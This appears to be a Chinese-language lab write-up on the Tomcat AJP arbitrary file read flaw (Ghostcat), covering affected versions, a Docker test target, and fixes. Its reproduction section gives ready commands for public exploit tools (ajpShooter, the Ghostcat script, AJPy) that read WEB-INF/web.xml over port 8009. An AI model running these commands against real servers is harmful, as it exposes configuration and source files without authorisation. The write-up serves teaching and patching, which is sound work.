漏洞介绍

Tomcat在 server.xml中配置了两种连接器:

  • HTTP Connector:监听8080端口,负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器。
  • AJP Connector:监听8009端口,负责和其他的HTTP服务器建立连接,通过AJP协议和另一个Web容器进行交互。

Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而Tomcat服务器8009端口上的AJP协议存在漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等

影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞复现

靶场搭建

  • 这里使用Docker部署环境。搜索受影响版本的Tomcat的镜像,这里选择 Tomcat-8.5.32
$ docker search tomcat-8.5
$ docker pull duonghuuphuc/tomcat-8.5.32

AJP-1.jpg

  • 拉取完成后运行,并通过浏览器访问 http://<靶场IP>:8080
$ docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
  • Nmap扫描
$ nmap <靶场IP>

AJP-2.jpg

AjpShooter

$ python ajpShooter.py http://<靶场IP> 8080 WEB-INF/web.xml read

AJP-3.jpg

Ghostcat

$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py <靶场IP> -p 8009 -f WEB-INF/web.xml

AJP-4.jpg

AJPy

$ python tomcat.py --port <port> version <IP>  # 版本探测
$ python tomcat.py read_file --webapp=manager /WEB-INF/web.xml  <地址> # 文件读取

AJP-5.jpg

修复建议

  • 更新Tomcat到安全版本

    • Apache Tomcat 7.0.100
    • Apache Tomcat 8.5.51
    • Apache Tomcat 9.0.31
  • 关闭AJP:编辑 Tomcat 配置文件 conf/server.xml,找到如下行并将其注释,然后保存配置文件并重新启动Tomcat

    <Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

其它

如果觉得我的文章对你有帮助,请我吃颗糖吧~